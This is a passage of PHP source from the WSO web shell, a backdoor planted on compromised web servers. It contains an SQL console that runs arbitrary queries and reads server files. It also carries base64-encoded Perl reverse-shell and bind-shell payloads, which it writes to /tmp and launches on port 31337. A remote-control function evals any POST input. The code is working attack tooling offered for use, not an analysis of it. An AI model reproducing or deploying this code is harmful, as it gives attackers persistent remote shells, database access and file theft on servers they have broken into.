1886 if($_POST['type']=='pgsql')
1887 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1888 else
1889 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1890 echo "<br><br>";
1891 }
1892 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1893 $db->query(@$_POST['p2']);
1894 if($db->res !== false) {
1895 $title = false;
1896 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1897 $line = 1;
1898 while($item = $db->fetch()) {
1899 if(!$title) {
1900 echo '<tr>';
1901 foreach($item as $key => $value)
1902 echo '<th>'.$key.'</th>';
1903 reset($item);
1904 $title=true;
1905 echo '</tr><tr>';
1906 $line = 2;
1907 }
1908 echo '<tr class="l'.$line.'">';
1909 $line = $line==1?2:1;
1910 foreach($item as $key => $value) {
1911 if($value == null)
1912 echo '<td><i>null</i></td>';
1913 else
1914 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1915 }
1916 echo '</tr>';
1917 }
1918 echo '</table>';
1919 } else {
1920 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1921 }
1922 }
1923 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1924 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1925 echo htmlspecialchars($_POST['p2']);
1926 echo "</textarea><br/><input type=submit value='Execute'>";
1927 echo "</td></tr>";
1928 }
1929 echo "</table></form><br/>";
1930 if($_POST['type']=='mysql') {
1931 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1932 if($db->fetch())
1933 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1934 }
1935 if(@$_POST['p1'] == 'loadfile') {
1936 $file = $db->loadFile($_POST['p2']);
1937 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1938 }
1939 } else {
1940 echo htmlspecialchars($db->error());
1941 }
1942 echo '</div>';
1943 wsoFooter();
1944}
1945function actionNetwork() {
1946 wsoHeader();
1947 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1948 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1949 echo "<h1>Network tools</h1><div class=content>
1950
1951 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1952 <span>Bind port to /bin/sh [perl]</span><br/>
1953 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1954 </form>
1955 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1956 <span>Back-connect [perl]</span><br/>
1957 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1958
1959 </form><br>";
1960 if(isset($_POST['p1'])) {
1961 function cf($f,$t) {
1962 $w = @fopen($f,"w") or @function_exists('file_put_contents');
1963 if($w){
1964 @fwrite($w,@base64_decode($t));
1965 @fclose($w);
1966 }
1967 }
1968 if($_POST['p1'] == 'bpp') {
1969 cf("/tmp/bp.pl",$bind_port_p);
1970 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1971 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1972 unlink("/tmp/bp.pl");
1973 }
1974 if($_POST['p1'] == 'bcp') {
1975 cf("/tmp/bc.pl",$back_connect_p);
1976 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1977 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1978 unlink("/tmp/bc.pl");
1979 }
1980 }
1981 echo '</div>';
1982 wsoFooter();
1983}
1984function actionRC() {
1985 if(!@$_POST['p1']) {
1986 $a = array(
1987 "uname" => php_uname(),
1988 "php_version" => phpversion(),
1989 "wso_version" => WSO_VERSION,
1990 "safemode" => @ini_get('safe_mode')
1991 );
1992 echo serialize($a);
1993 } else {
1994 eval($_POST['p1']);
1995 }
1996}
1997if( empty($_POST['a']) )
1998 if(isset($default_action) && function_exists('action' . $default_action))
1999 $_POST['a'] = $default_action;
2000 else
2001 $_POST['a'] = 'SecInfo';
2002if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
2003 call_user_func('action' . $_POST['a']);
2004function FetchURL($url) {
2005 $ch = curl_init();
2006 curl_setopt($ch, CURLOPT_USERAGENT, "$cheader");
2007 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2008 curl_setopt($ch, CURLOPT_HEADER, false);
2009 curl_setopt($ch, CURLOPT_URL, $url);
2010 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2011 curl_setopt($ch, CURLOPT_TIMEOUT, 30);
2012 $data = curl_exec($ch);
2013 if(!$data) {
2014 return false;
2015 }
2016 return $data;
2017 }
2018exit;
2019?>